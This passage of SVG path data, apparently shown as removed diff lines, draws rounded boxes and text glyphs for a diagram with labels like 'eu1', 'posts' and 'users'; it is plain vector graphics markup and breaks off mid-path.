-                <path d="M342.2061,435.08157 L343.8936,435.284695 C343.622767,436.274278 343.127975,437.045112 342.409225,437.597195 C341.690475,438.138862 340.7686,438.409695 339.6436,438.409695 C338.226933,438.409695 337.101933,437.977403 336.2686,437.11282 C335.445683,436.23782 335.034225,435.013862 335.034225,433.440945 C335.034225,431.805528 335.450892,430.539903 336.284225,429.64407 C337.127975,428.748237 338.216517,428.30032 339.54985,428.30032 C340.841517,428.30032 341.8936,428.743028 342.7061,429.628445 C343.529017,430.503445 343.940475,431.73782 343.940475,433.33157 C343.940475,433.435737 343.940475,433.58157 343.940475,433.76907 L336.721725,433.76907 C336.784225,434.83157 337.086308,435.649278 337.627975,436.222195 C338.169642,436.784695 338.841517,437.065945 339.6436,437.065945 C340.247767,437.065945 340.763392,436.909695 341.190475,436.597195 C341.617558,436.274278 341.9561,435.76907 342.2061,435.08157 Z M336.815475,432.42532 L342.221725,432.42532 C342.148808,431.61282 341.940475,431.003445 341.596725,430.597195 C341.075892,429.961778 340.398808,429.64407 339.565475,429.64407 C338.815475,429.64407 338.180058,429.899278 337.659225,430.409695 C337.148808,430.909695 336.867558,431.58157 336.815475,432.42532 Z M352.284927,438.190945 L352.284927,436.76907 C351.534927,437.86282 350.514094,438.409695 349.222427,438.409695 C348.64951,438.409695 348.113052,438.30032 347.613052,438.08157 C347.123469,437.86282 346.758885,437.586778 346.519302,437.253445 C346.279719,436.920112 346.113052,436.513862 346.019302,436.034695 C345.946385,435.722195 345.909927,435.211778 345.909927,434.503445 L345.909927,428.51907 L347.550552,428.51907 L347.550552,433.878445 C347.550552,434.732612 347.58701,435.310737 347.659927,435.61282 C347.764094,436.039903 347.982844,436.378445 348.316177,436.628445 C348.64951,436.878445 349.060969,437.003445 349.550552,437.003445 C350.040135,437.003445 350.498469,436.878445 350.925552,436.628445 C351.363052,436.368028 351.670344,436.024278 351.847427,435.597195 C352.02451,435.159695 352.113052,434.529487 352.113052,433.70657 L352.113052,428.51907 L353.753677,428.51907 L353.753677,438.190945 L352.284927,438.190945 Z M364.488784,436.61282 L364.488784,438.190945 L355.660659,438.190945 C355.650242,437.795112 355.712742,437.414903 355.848159,437.05032 C356.077326,436.446153 356.436701,435.852403 356.926284,435.26907 C357.426284,434.685737 358.145034,434.013862 359.082534,433.253445 C360.530451,432.065945 361.509617,431.123237 362.020034,430.42532 C362.530451,429.727403 362.785659,429.071153 362.785659,428.45657 C362.785659,427.80032 362.551284,427.253445 362.082534,426.815945 C361.624201,426.368028 361.020034,426.14407 360.270034,426.14407 C359.478367,426.14407 358.842951,426.383653 358.363784,426.86282 C357.895034,427.33157 357.660659,427.982612 357.660659,428.815945 L355.973159,428.64407 C356.087742,427.383653 356.520034,426.42532 357.270034,425.76907 C358.030451,425.11282 359.040867,424.784695 360.301284,424.784695 C361.582534,424.784695 362.598159,425.138862 363.348159,425.847195 C364.098159,426.555528 364.473159,427.435737 364.473159,428.48782 C364.473159,429.01907 364.363784,429.545112 364.145034,430.065945 C363.926284,430.586778 363.561701,431.133653 363.051284,431.70657 C362.551284,432.26907 361.707534,433.05032 360.520034,434.05032 C359.540867,434.873237 358.910659,435.435737 358.629409,435.73782 C358.348159,436.029487 358.118992,436.321153 357.941909,436.61282 L364.488784,436.61282 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.00476,386.18834 272.00476,377.940141 L272.00476,318.2032 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.00476,386.18834 272.00476,377.940141 L272.00476,318.2032 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M342.2061,331.45334 L343.8936,331.656465 C343.622767,332.646048 343.127975,333.416882 342.409225,333.968965 C341.690475,334.510632 340.7686,334.781465 339.6436,334.781465 C338.226933,334.781465 337.101933,334.349173 336.2686,333.48459 C335.445683,332.60959 335.034225,331.385632 335.034225,329.812715 C335.034225,328.177298 335.450892,326.911673 336.284225,326.01584 C337.127975,325.120007 338.216517,324.67209 339.54985,324.67209 C340.841517,324.67209 341.8936,325.114798 342.7061,326.000215 C343.529017,326.875215 343.940475,328.10959 343.940475,329.70334 C343.940475,329.807507 343.940475,329.95334 343.940475,330.14084 L336.721725,330.14084 C336.784225,331.20334 337.086308,332.021048 337.627975,332.593965 C338.169642,333.156465 338.841517,333.437715 339.6436,333.437715 C340.247767,333.437715 340.763392,333.281465 341.190475,332.968965 C341.617558,332.646048 341.9561,332.14084 342.2061,331.45334 Z M336.815475,328.79709 L342.221725,328.79709 C342.148808,327.98459 341.940475,327.375215 341.596725,326.968965 C341.075892,326.333548 340.398808,326.01584 339.565475,326.01584 C338.815475,326.01584 338.180058,326.271048 337.659225,326.781465 C337.148808,327.281465 336.867558,327.95334 336.815475,328.79709 Z M352.284927,334.562715 L352.284927,333.14084 C351.534927,334.23459 350.514094,334.781465 349.222427,334.781465 C348.64951,334.781465 348.113052,334.67209 347.613052,334.45334 C347.123469,334.23459 346.758885,333.958548 346.519302,333.625215 C346.279719,333.291882 346.113052,332.885632 346.019302,332.406465 C345.946385,332.093965 345.909927,331.583548 345.909927,330.875215 L345.909927,324.89084 L347.550552,324.89084 L347.550552,330.250215 C347.550552,331.104382 347.58701,331.682507 347.659927,331.98459 C347.764094,332.411673 347.982844,332.750215 348.316177,333.000215 C348.64951,333.250215 349.060969,333.375215 349.550552,333.375215 C350.040135,333.375215 350.498469,333.250215 350.925552,333.000215 C351.363052,332.739798 351.670344,332.396048 351.847427,331.968965 C352.02451,331.531465 352.113052,330.901257 352.113052,330.07834 L352.113052,324.89084 L353.753677,324.89084 L353.753677,334.562715 L352.284927,334.562715 Z M362.051284,334.562715 L360.410659,334.562715 L360.410659,324.10959 C360.014826,324.48459 359.493992,324.864798 358.848159,325.250215 C358.212742,325.625215 357.639826,325.906465 357.129409,326.093965 L357.129409,324.500215 C358.046076,324.073132 358.848159,323.552298 359.535659,322.937715 C360.223159,322.323132 360.707534,321.729382 360.988784,321.156465 L362.051284,321.156465 L362.051284,334.562715 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M354.16272,353.5403 L354.16272,353.5403 C354.16272,349.733659 357.248627,346.647783 361.055268,346.647783 L410.766268,346.647783 C412.59427,346.647783 414.347414,347.373949 415.640017,348.666551 C416.932619,349.959154 417.658785,351.712297 417.658785,353.5403 L417.658785,381.109575 C417.658785,384.916216 414.572908,388.002123 410.766268,388.002123 L361.055268,388.002123 C357.248627,388.002123 354.16272,384.916216 354.16272,381.109575 L354.16272,353.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,366.87247 L367.85217,355.388095 L369.13342,355.388095 L369.13342,356.46622 C369.435503,356.039137 369.774045,355.721428 370.149045,355.513095 C370.534462,355.304762 370.998003,355.200595 371.53967,355.200595 C372.248003,355.200595 372.873003,355.382887 373.41467,355.74747 C373.956337,356.112053 374.362587,356.627678 374.63342,357.294345 C374.91467,357.950595 375.055295,358.674553 375.055295,359.46622 C375.055295,360.320387 374.899045,361.086012 374.586545,361.763095 C374.284462,362.440178 373.841753,362.961012 373.25842,363.325595 C372.685503,363.690178 372.076128,363.87247 371.430295,363.87247 C370.961545,363.87247 370.53967,363.773512 370.16467,363.575595 C369.800087,363.377678 369.498003,363.127678 369.25842,362.825595 L369.25842,366.87247 L367.85217,366.87247 Z M369.117795,359.575595 C369.117795,360.648512 369.331337,361.440178 369.75842,361.950595 C370.19592,362.461012 370.721962,362.71622 371.336545,362.71622 C371.961545,362.71622 372.498003,362.450595 372.94592,361.919345 C373.393837,361.388095 373.617795,360.570387 373.617795,359.46622 C373.617795,358.40372 373.399045,357.612053 372.961545,357.09122 C372.524045,356.55997 372.003212,356.294345 371.399045,356.294345 C370.805295,356.294345 370.274045,356.575595 369.805295,357.138095 C369.346962,357.700595 369.117795,358.513095 369.117795,359.575595 Z M376.219358,359.52872 C376.219358,357.99747 376.646441,356.862053 377.500608,356.12247 C378.219358,355.507887 379.089149,355.200595 380.109983,355.200595 C381.255816,355.200595 382.188108,355.575595 382.906858,356.325595 C383.636024,357.065178 384.000608,358.096428 384.000608,359.419345 C384.000608,360.481845 383.839149,361.320387 383.516233,361.93497 C383.193316,362.549553 382.724566,363.02872 382.109983,363.37247 C381.505816,363.705803 380.839149,363.87247 380.109983,363.87247 C378.953733,363.87247 378.016233,363.502678 377.297483,362.763095 C376.578733,362.013095 376.219358,360.93497 376.219358,359.52872 Z M377.672483,359.52872 C377.672483,360.59122 377.901649,361.388095 378.359983,361.919345 C378.828733,362.450595 379.412066,362.71622 380.109983,362.71622 C380.807899,362.71622 381.386024,362.450595 381.844358,361.919345 C382.313108,361.388095 382.547483,360.575595 382.547483,359.481845 C382.547483,358.461012 382.313108,357.68497 381.844358,357.15372 C381.386024,356.62247 380.807899,356.356845 380.109983,356.356845 C379.412066,356.356845 378.828733,356.62247 378.359983,357.15372 C377.901649,357.674553 377.672483,358.46622 377.672483,359.52872 Z M385.086545,361.200595 L386.47717,360.981845 C386.550087,361.544345 386.763628,361.976637 387.117795,362.27872 C387.482378,362.570387 387.982378,362.71622 388.617795,362.71622 C389.263628,362.71622 389.742795,362.586012 390.055295,362.325595 C390.367795,362.054762 390.524045,361.742262 390.524045,361.388095 C390.524045,361.075595 390.388628,360.825595 390.117795,360.638095 C389.919878,360.513095 389.440712,360.356845 388.680295,360.169345 C387.649045,359.908928 386.930295,359.68497 386.524045,359.49747 C386.128212,359.299553 385.826128,359.033928 385.617795,358.700595 C385.419878,358.367262 385.32092,357.99747 385.32092,357.59122 C385.32092,357.21622 385.404253,356.87247 385.57092,356.55997 C385.737587,356.24747 385.966753,355.987053 386.25842,355.77872 C386.47717,355.612053 386.774045,355.476637 387.149045,355.37247 C387.534462,355.257887 387.940712,355.200595 388.367795,355.200595 C389.024045,355.200595 389.596962,355.294345 390.086545,355.481845 C390.576128,355.669345 390.935503,355.924553 391.16467,356.24747 C391.404253,356.55997 391.57092,356.987053 391.66467,357.52872 L390.28967,357.71622 C390.22717,357.289137 390.044878,356.955803 389.742795,356.71622 C389.440712,356.476637 389.018837,356.356845 388.47717,356.356845 C387.831337,356.356845 387.367795,356.46622 387.086545,356.68497 C386.815712,356.893303 386.680295,357.138095 386.680295,357.419345 C386.680295,357.606845 386.737587,357.773512 386.85217,357.919345 C386.966753,358.065178 387.143837,358.190178 387.38342,358.294345 C387.529253,358.346428 387.94592,358.46622 388.63342,358.65372 C389.623003,358.914137 390.315712,359.132887 390.711545,359.30997 C391.107378,359.476637 391.41467,359.721428 391.63342,360.044345 C391.862587,360.367262 391.97717,360.768303 391.97717,361.24747 C391.97717,361.71622 391.836545,362.158928 391.555295,362.575595 C391.284462,362.981845 390.888628,363.299553 390.367795,363.52872 C389.857378,363.757887 389.279253,363.87247 388.63342,363.87247 C387.550087,363.87247 386.72717,363.648512 386.16467,363.200595 C385.60217,362.752678 385.242795,362.086012 385.086545,361.200595 Z M396.711545,362.419345 L396.91467,363.669345 C396.518837,363.752678 396.16467,363.794345 395.85217,363.794345 C395.341753,363.794345 394.94592,363.71622 394.66467,363.55997 C394.38342,363.393303 394.185503,363.179762 394.07092,362.919345 C393.956337,362.648512 393.899045,362.09122 393.899045,361.24747 L393.899045,356.481845 L392.867795,356.481845 L392.867795,355.388095 L393.899045,355.388095 L393.899045,353.325595 L395.305295,352.481845 L395.305295,355.388095 L396.711545,355.388095 L396.711545,356.481845 L395.305295,356.481845 L395.305295,361.325595 C395.305295,361.731845 395.326128,361.992262 395.367795,362.106845 C395.419878,362.221428 395.503212,362.315178 395.617795,362.388095 C395.732378,362.450595 395.893837,362.481845 396.10217,362.481845 C396.25842,362.481845 396.461545,362.461012 396.711545,362.419345 Z M397.531858,361.200595 L398.922483,360.981845 C398.995399,361.544345 399.208941,361.976637 399.563108,362.27872 C399.927691,362.570387 400.427691,362.71622 401.063108,362.71622 C401.708941,362.71622 402.188108,362.586012 402.500608,362.325595 C402.813108,362.054762 402.969358,361.742262 402.969358,361.388095 C402.969358,361.075595 402.833941,360.825595 402.563108,360.638095 C402.365191,360.513095 401.886024,360.356845 401.125608,360.169345 C400.094358,359.908928 399.375608,359.68497 398.969358,359.49747 C398.573524,359.299553 398.271441,359.033928 398.063108,358.700595 C397.865191,358.367262 397.766233,357.99747 397.766233,357.59122 C397.766233,357.21622 397.849566,356.87247 398.016233,356.55997 C398.182899,356.24747 398.412066,355.987053 398.703733,355.77872 C398.922483,355.612053 399.219358,355.476637 399.594358,355.37247 C399.979774,355.257887 400.386024,355.200595 400.813108,355.200595 C401.469358,355.200595 402.042274,355.294345 402.531858,355.481845 C403.021441,355.669345 403.380816,355.924553 403.609983,356.24747 C403.849566,356.55997 404.016233,356.987053 404.109983,357.52872 L402.734983,357.71622 C402.672483,357.289137 402.490191,356.955803 402.188108,356.71622 C401.886024,356.476637 401.464149,356.356845 400.922483,356.356845 C400.276649,356.356845 399.813108,356.46622 399.531858,356.68497 C399.261024,356.893303 399.125608,357.138095 399.125608,357.419345 C399.125608,357.606845 399.182899,357.773512 399.297483,357.919345 C399.412066,358.065178 399.589149,358.190178 399.828733,358.294345 C399.974566,358.346428 400.391233,358.46622 401.078733,358.65372 C402.068316,358.914137 402.761024,359.132887 403.156858,359.30997 C403.552691,359.476637 403.859983,359.721428 404.078733,360.044345 C404.307899,360.367262 404.422483,360.768303 404.422483,361.24747 C404.422483,361.71622 404.281858,362.158928 404.000608,362.575595 C403.729774,362.981845 403.333941,363.299553 402.813108,363.52872 C402.302691,363.757887 401.724566,363.87247 401.078733,363.87247 C399.995399,363.87247 399.172483,363.648512 398.609983,363.200595 C398.047483,362.752678 397.688108,362.086012 397.531858,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M382.09436,382.68497 L380.68811,382.68497 L380.68811,373.71622 C380.34436,374.039137 379.896443,374.362053 379.34436,374.68497 C378.802693,375.007887 378.31311,375.252678 377.87561,375.419345 L377.87561,374.05997 C378.65686,373.68497 379.339152,373.237053 379.922485,372.71622 C380.516235,372.18497 380.93811,371.674553 381.18811,371.18497 L382.09436,371.18497 L382.09436,382.68497 Z M386.258422,382.68497 L386.258422,371.231845 L390.586547,371.231845 C391.346964,371.231845 391.925089,371.268303 392.320922,371.34122 C392.883422,371.43497 393.352172,371.612053 393.727172,371.87247 C394.112589,372.132887 394.419881,372.502678 394.649047,372.981845 C394.888631,373.450595 395.008422,373.971428 395.008422,374.544345 C395.008422,375.513095 394.695922,376.336012 394.070922,377.013095 C393.456339,377.690178 392.336547,378.02872 390.711547,378.02872 L387.774047,378.02872 L387.774047,382.68497 L386.258422,382.68497 Z M387.774047,376.669345 L390.742797,376.669345 C391.721964,376.669345 392.414672,376.487053 392.820922,376.12247 C393.237589,375.757887 393.445922,375.24747 393.445922,374.59122 C393.445922,374.112053 393.320922,373.700595 393.070922,373.356845 C392.831339,373.013095 392.513631,372.789137 392.117797,372.68497 C391.867797,372.612053 391.399047,372.575595 390.711547,372.575595 L387.774047,372.575595 L387.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,353.5403 L282.16272,353.5403 C282.16272,349.733659 285.248627,346.647783 289.055268,346.647783 L338.766268,346.647783 C340.59427,346.647783 342.347414,347.373949 343.640017,348.666551 C344.932619,349.959154 345.658785,351.712297 345.658785,353.5403 L345.658785,381.109575 C345.658785,384.916216 342.572908,388.002123 338.766268,388.002123 L289.055268,388.002123 C285.248627,388.002123 282.16272,384.916216 282.16272,381.109575 L282.16272,353.5403 Z" id="Path" fill="#F04E98"></path>
-                <path d="M300.84827,363.68497 L300.84827,362.46622 C300.202437,363.40372 299.322228,363.87247 298.207645,363.87247 C297.718062,363.87247 297.259728,363.77872 296.832645,363.59122 C296.415978,363.40372 296.103478,363.169345 295.895145,362.888095 C295.686812,362.596428 295.540978,362.24747 295.457645,361.84122 C295.405562,361.55997 295.37952,361.12247 295.37952,360.52872 L295.37952,355.388095 L296.78577,355.388095 L296.78577,359.981845 C296.78577,360.721428 296.811812,361.21622 296.863895,361.46622 C296.957645,361.84122 297.145145,362.132887 297.426395,362.34122 C297.718062,362.549553 298.072228,362.65372 298.488895,362.65372 C298.915978,362.65372 299.311812,362.549553 299.676395,362.34122 C300.051395,362.12247 300.311812,361.825595 300.457645,361.450595 C300.613895,361.075595 300.69202,360.533928 300.69202,359.825595 L300.69202,355.388095 L302.09827,355.388095 L302.09827,363.68497 L300.84827,363.68497 Z M303.746708,361.200595 L305.137333,360.981845 C305.210249,361.544345 305.423791,361.976637 305.777958,362.27872 C306.142541,362.570387 306.642541,362.71622 307.277958,362.71622 C307.923791,362.71622 308.402958,362.586012 308.715458,362.325595 C309.027958,362.054762 309.184208,361.742262 309.184208,361.388095 C309.184208,361.075595 309.048791,360.825595 308.777958,360.638095 C308.580041,360.513095 308.100874,360.356845 307.340458,360.169345 C306.309208,359.908928 305.590458,359.68497 305.184208,359.49747 C304.788374,359.299553 304.486291,359.033928 304.277958,358.700595 C304.080041,358.367262 303.981083,357.99747 303.981083,357.59122 C303.981083,357.21622 304.064416,356.87247 304.231083,356.55997 C304.397749,356.24747 304.626916,355.987053 304.918583,355.77872 C305.137333,355.612053 305.434208,355.476637 305.809208,355.37247 C306.194624,355.257887 306.600874,355.200595 307.027958,355.200595 C307.684208,355.200595 308.257124,355.294345 308.746708,355.481845 C309.236291,355.669345 309.595666,355.924553 309.824833,356.24747 C310.064416,356.55997 310.231083,356.987053 310.324833,357.52872 L308.949833,357.71622 C308.887333,357.289137 308.705041,356.955803 308.402958,356.71622 C308.100874,356.476637 307.678999,356.356845 307.137333,356.356845 C306.491499,356.356845 306.027958,356.46622 305.746708,356.68497 C305.475874,356.893303 305.340458,357.138095 305.340458,357.419345 C305.340458,357.606845 305.397749,357.773512 305.512333,357.919345 C305.626916,358.065178 305.803999,358.190178 306.043583,358.294345 C306.189416,358.346428 306.606083,358.46622 307.293583,358.65372 C308.283166,358.914137 308.975874,359.132887 309.371708,359.30997 C309.767541,359.476637 310.074833,359.721428 310.293583,360.044345 C310.522749,360.367262 310.637333,360.768303 310.637333,361.24747 C310.637333,361.71622 310.496708,362.158928 310.215458,362.575595 C309.944624,362.981845 309.548791,363.299553 309.027958,363.52872 C308.517541,363.757887 307.939416,363.87247 307.293583,363.87247 C306.210249,363.87247 305.387333,363.648512 304.824833,363.200595 C304.262333,362.752678 303.902958,362.086012 303.746708,361.200595 Z M317.981083,361.013095 L319.434208,361.18497 C319.205041,362.039137 318.777958,362.700595 318.152958,363.169345 C317.538374,363.638095 316.751916,363.87247 315.793583,363.87247 C314.574833,363.87247 313.611291,363.49747 312.902958,362.74747 C312.194624,361.99747 311.840458,360.950595 311.840458,359.606845 C311.840458,358.211012 312.199833,357.127678 312.918583,356.356845 C313.637333,355.586012 314.569624,355.200595 315.715458,355.200595 C316.819624,355.200595 317.720666,355.580803 318.418583,356.34122 C319.126916,357.09122 319.481083,358.148512 319.481083,359.513095 C319.481083,359.596428 319.481083,359.721428 319.481083,359.888095 L313.293583,359.888095 C313.345666,360.804762 313.600874,361.507887 314.059208,361.99747 C314.527958,362.476637 315.106083,362.71622 315.793583,362.71622 C316.314416,362.71622 316.757124,362.580803 317.121708,362.30997 C317.486291,362.039137 317.772749,361.606845 317.981083,361.013095 Z M313.371708,358.731845 L317.996708,358.731845 C317.934208,358.033928 317.757124,357.513095 317.465458,357.169345 C317.017541,356.627678 316.439416,356.356845 315.731083,356.356845 C315.085249,356.356845 314.538374,356.575595 314.090458,357.013095 C313.652958,357.440178 313.413374,358.013095 313.371708,358.731845 Z M321.19202,363.68497 L321.19202,355.388095 L322.457645,355.388095 L322.457645,356.638095 C322.780562,356.054762 323.077437,355.669345 323.34827,355.481845 C323.619103,355.294345 323.921187,355.200595 324.25452,355.200595 C324.72327,355.200595 325.202437,355.351637 325.69202,355.65372 L325.207645,356.950595 C324.863895,356.752678 324.520145,356.65372 324.176395,356.65372 C323.874312,356.65372 323.59827,356.74747 323.34827,356.93497 C323.108687,357.112053 322.936812,357.367262 322.832645,357.700595 C322.676395,358.200595 322.59827,358.74747 322.59827,359.34122 L322.59827,363.68497 L321.19202,363.68497 Z M325.97327,361.200595 L327.363895,360.981845 C327.436812,361.544345 327.650353,361.976637 328.00452,362.27872 C328.369103,362.570387 328.869103,362.71622 329.50452,362.71622 C330.150353,362.71622 330.62952,362.586012 330.94202,362.325595 C331.25452,362.054762 331.41077,361.742262 331.41077,361.388095 C331.41077,361.075595 331.275353,360.825595 331.00452,360.638095 C330.806603,360.513095 330.327437,360.356845 329.56702,360.169345 C328.53577,359.908928 327.81702,359.68497 327.41077,359.49747 C327.014937,359.299553 326.712853,359.033928 326.50452,358.700595 C326.306603,358.367262 326.207645,357.99747 326.207645,357.59122 C326.207645,357.21622 326.290978,356.87247 326.457645,356.55997 C326.624312,356.24747 326.853478,355.987053 327.145145,355.77872 C327.363895,355.612053 327.66077,355.476637 328.03577,355.37247 C328.421187,355.257887 328.827437,355.200595 329.25452,355.200595 C329.91077,355.200595 330.483687,355.294345 330.97327,355.481845 C331.462853,355.669345 331.822228,355.924553 332.051395,356.24747 C332.290978,356.55997 332.457645,356.987053 332.551395,357.52872 L331.176395,357.71622 C331.113895,357.289137 330.931603,356.955803 330.62952,356.71622 C330.327437,356.476637 329.905562,356.356845 329.363895,356.356845 C328.718062,356.356845 328.25452,356.46622 327.97327,356.68497 C327.702437,356.893303 327.56702,357.138095 327.56702,357.419345 C327.56702,357.606845 327.624312,357.773512 327.738895,357.919345 C327.853478,358.065178 328.030562,358.190178 328.270145,358.294345 C328.415978,358.346428 328.832645,358.46622 329.520145,358.65372 C330.509728,358.914137 331.202437,359.132887 331.59827,359.30997 C331.994103,359.476637 332.301395,359.721428 332.520145,360.044345 C332.749312,360.367262 332.863895,360.768303 332.863895,361.24747 C332.863895,361.71622 332.72327,362.158928 332.44202,362.575595 C332.171187,362.981845 331.775353,363.299553 331.25452,363.52872 C330.744103,363.757887 330.165978,363.87247 329.520145,363.87247 C328.436812,363.87247 327.613895,363.648512 327.051395,363.200595 C326.488895,362.752678 326.12952,362.086012 325.97327,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M310.09436,382.68497 L308.68811,382.68497 L308.68811,373.71622 C308.34436,374.039137 307.896443,374.362053 307.34436,374.68497 C306.802693,375.007887 306.31311,375.252678 305.87561,375.419345 L305.87561,374.05997 C306.65686,373.68497 307.339152,373.237053 307.922485,372.71622 C308.516235,372.18497 308.93811,371.674553 309.18811,371.18497 L310.09436,371.18497 L310.09436,382.68497 Z M314.258422,382.68497 L314.258422,371.231845 L318.586547,371.231845 C319.346964,371.231845 319.925089,371.268303 320.320922,371.34122 C320.883422,371.43497 321.352172,371.612053 321.727172,371.87247 C322.112589,372.132887 322.419881,372.502678 322.649047,372.981845 C322.888631,373.450595 323.008422,373.971428 323.008422,374.544345 C323.008422,375.513095 322.695922,376.336012 322.070922,377.013095 C321.456339,377.690178 320.336547,378.02872 318.711547,378.02872 L315.774047,378.02872 L315.774047,382.68497 L314.258422,382.68497 Z M315.774047,376.669345 L318.742797,376.669345 C319.721964,376.669345 320.414672,376.487053 320.820922,376.12247 C321.237589,375.757887 321.445922,375.24747 321.445922,374.59122 C321.445922,374.112053 321.320922,373.700595 321.070922,373.356845 C320.831339,373.013095 320.513631,372.789137 320.117797,372.68497 C319.867797,372.612053 319.399047,372.575595 318.711547,372.575595 L315.774047,372.575595 L315.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M354.16272,457.5403 L354.16272,457.5403 C354.16272,453.733659 357.248627,450.647783 361.055268,450.647783 L410.766268,450.647783 C412.59427,450.647783 414.347414,451.373949 415.640017,452.666551 C416.932619,453.959154 417.658785,455.712297 417.658785,457.5403 L417.658785,485.109575 C417.658785,488.916216 414.572908,492.002123 410.766268,492.002123 L361.055268,492.002123 C357.248627,492.002123 354.16272,488.916216 354.16272,485.109575 L354.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,470.87247 L367.85217,459.388095 L369.13342,459.388095 L369.13342,460.46622 C369.435503,460.039137 369.774045,459.721428 370.149045,459.513095 C370.534462,459.304762 370.998003,459.200595 371.53967,459.200595 C372.248003,459.200595 372.873003,459.382887 373.41467,459.74747 C373.956337,460.112053 374.362587,460.627678 374.63342,461.294345 C374.91467,461.950595 375.055295,462.674553 375.055295,463.46622 C375.055295,464.320387 374.899045,465.086012 374.586545,465.763095 C374.284462,466.440178 373.841753,466.961012 373.25842,467.325595 C372.685503,467.690178 372.076128,467.87247 371.430295,467.87247 C370.961545,467.87247 370.53967,467.773512 370.16467,467.575595 C369.800087,467.377678 369.498003,467.127678 369.25842,466.825595 L369.25842,470.87247 L367.85217,470.87247 Z M369.117795,463.575595 C369.117795,464.648512 369.331337,465.440178 369.75842,465.950595 C370.19592,466.461012 370.721962,466.71622 371.336545,466.71622 C371.961545,466.71622 372.498003,466.450595 372.94592,465.919345 C373.393837,465.388095 373.617795,464.570387 373.617795,463.46622 C373.617795,462.40372 373.399045,461.612053 372.961545,461.09122 C372.524045,460.55997 372.003212,460.294345 371.399045,460.294345 C370.805295,460.294345 370.274045,460.575595 369.805295,461.138095 C369.346962,461.700595 369.117795,462.513095 369.117795,463.575595 Z M376.219358,463.52872 C376.219358,461.99747 376.646441,460.862053 377.500608,460.12247 C378.219358,459.507887 379.089149,459.200595 380.109983,459.200595 C381.255816,459.200595 382.188108,459.575595 382.906858,460.325595 C383.636024,461.065178 384.000608,462.096428 384.000608,463.419345 C384.000608,464.481845 383.839149,465.320387 383.516233,465.93497 C383.193316,466.549553 382.724566,467.02872 382.109983,467.37247 C381.505816,467.705803 380.839149,467.87247 380.109983,467.87247 C378.953733,467.87247 378.016233,467.502678 377.297483,466.763095 C376.578733,466.013095 376.219358,464.93497 376.219358,463.52872 Z M377.672483,463.52872 C377.672483,464.59122 377.901649,465.388095 378.359983,465.919345 C378.828733,466.450595 379.412066,466.71622 380.109983,466.71622 C380.807899,466.71622 381.386024,466.450595 381.844358,465.919345 C382.313108,465.388095 382.547483,464.575595 382.547483,463.481845 C382.547483,462.461012 382.313108,461.68497 381.844358,461.15372 C381.386024,460.62247 380.807899,460.356845 380.109983,460.356845 C379.412066,460.356845 378.828733,460.62247 378.359983,461.15372 C377.901649,461.674553 377.672483,462.46622 377.672483,463.52872 Z M385.086545,465.200595 L386.47717,464.981845 C386.550087,465.544345 386.763628,465.976637 387.117795,466.27872 C387.482378,466.570387 387.982378,466.71622 388.617795,466.71622 C389.263628,466.71622 389.742795,466.586012 390.055295,466.325595 C390.367795,466.054762 390.524045,465.742262 390.524045,465.388095 C390.524045,465.075595 390.388628,464.825595 390.117795,464.638095 C389.919878,464.513095 389.440712,464.356845 388.680295,464.169345 C387.649045,463.908928 386.930295,463.68497 386.524045,463.49747 C386.128212,463.299553 385.826128,463.033928 385.617795,462.700595 C385.419878,462.367262 385.32092,461.99747 385.32092,461.59122 C385.32092,461.21622 385.404253,460.87247 385.57092,460.55997 C385.737587,460.24747 385.966753,459.987053 386.25842,459.77872 C386.47717,459.612053 386.774045,459.476637 387.149045,459.37247 C387.534462,459.257887 387.940712,459.200595 388.367795,459.200595 C389.024045,459.200595 389.596962,459.294345 390.086545,459.481845 C390.576128,459.669345 390.935503,459.924553 391.16467,460.24747 C391.404253,460.55997 391.57092,460.987053 391.66467,461.52872 L390.28967,461.71622 C390.22717,461.289137 390.044878,460.955803 389.742795,460.71622 C389.440712,460.476637 389.018837,460.356845 388.47717,460.356845 C387.831337,460.356845 387.367795,460.46622 387.086545,460.68497 C386.815712,460.893303 386.680295,461.138095 386.680295,461.419345 C386.680295,461.606845 386.737587,461.773512 386.85217,461.919345 C386.966753,462.065178 387.143837,462.190178 387.38342,462.294345 C387.529253,462.346428 387.94592,462.46622 388.63342,462.65372 C389.623003,462.914137 390.315712,463.132887 390.711545,463.30997 C391.107378,463.476637 391.41467,463.721428 391.63342,464.044345 C391.862587,464.367262 391.97717,464.768303 391.97717,465.24747 C391.97717,465.71622 391.836545,466.158928 391.555295,466.575595 C391.284462,466.981845 390.888628,467.299553 390.367795,467.52872 C389.857378,467.757887 389.279253,467.87247 388.63342,467.87247 C387.550087,467.87247 386.72717,467.648512 386.16467,467.200595 C385.60217,466.752678 385.242795,466.086012 385.086545,465.200595 Z M396.711545,466.419345 L396.91467,467.669345 C396.518837,467.752678 396.16467,467.794345 395.85217,467.794345 C395.341753,467.794345 394.94592,467.71622 394.66467,467.55997 C394.38342,467.393303 394.185503,467.179762 394.07092,466.919345 C393.956337,466.648512 393.899045,466.09122 393.899045,465.24747 L393.899045,460.481845 L392.867795,460.481845 L392.867795,459.388095 L393.899045,459.388095 L393.899045,457.325595 L395.305295,456.481845 L395.305295,459.388095 L396.711545,459.388095 L396.711545,460.481845 